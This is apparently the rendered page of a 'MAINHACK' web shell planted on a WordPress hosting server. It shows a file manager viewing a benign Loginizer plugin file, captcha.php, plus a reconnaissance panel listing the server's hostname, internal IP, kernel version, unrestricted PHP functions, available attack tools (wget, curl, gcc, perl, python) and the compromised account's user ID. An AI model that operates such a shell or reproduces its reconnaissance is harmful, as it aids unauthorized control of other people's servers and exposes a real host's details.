[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: captcha.php
File is not writable. Editing disabled.
<?php if(!defined('ABSPATH')){ die('HACKING ATTEMPT!'); } global $loginizer; // For Contact Form 7 if(!empty($loginizer['captcha_contactform7'])){ add_filter('wpcf7_form_elements', 'loginizer_pro_cf7_enable_shortcodes'); add_action('wpcf7_before_send_mail', 'loginizer_pro_cf7_check_if_shortcode_exists', 10, 3); } // For WPForms if(!empty($loginizer['captcha_wpforms'])){ add_action('wpforms_display_submit_before', 'loginizer_pro_wpforms_add_captcha', 10, 1); add_action('wpforms_process', 'loginizer_pro_wpforms_validation', 10, 3); } // For Contact Form 7 add_shortcode('loginizer_pro_recaptcha', 'loginizer_pro_recaptcha_shortcode'); function loginizer_pro_recaptcha_shortcode(){ ob_start(); loginizer_cap_form(); return ob_get_clean(); } function loginizer_pro_cf7_enable_shortcodes($content){ return do_shortcode($content); } // Captcha Verify function loginizer_pro_cf7_check_if_shortcode_exists($contact_form, &$abort, $submission){ if(!is_object($contact_form) || !method_exists($contact_form, 'prop') || !is_object($submission) || !method_exists($submission, 'set_response')){ return; } $form_html = $contact_form->prop('form'); if(strpos($form_html, '[loginizer_pro_recaptcha]') === false || loginizer_cap_verify()){ return; } // Abort the form submission $abort = true; // Set an error response message to show in Contact Form 7 $submission->set_response(__('The CAPTCHA verification failed. Please try again.', 'loginizer')); } // For WPForms function loginizer_pro_wpforms_add_captcha($form_data){ static $rendered = []; if(isset($rendered[$form_data['id']])){ return; } echo '<div class="wpforms-field wpforms-field-recaptcha"> <div class="wpforms-recaptcha-container">'; loginizer_cap_form(); echo '</div> </div>'; $rendered[$form_data['id']] = true; } // Captcha Verify function loginizer_pro_wpforms_validation($fields, $entry, $form_data){ if(function_exists('wpforms') && is_object(wpforms()->obj('process')) && isset(wpforms()->obj('process')->errors)){ if(!loginizer_cap_verify()){ wpforms()->process->errors[$form_data['id']]['recaptcha'] = __('The CAPTCHA verification failed. Please try again.', 'loginizer'); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 690.99 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A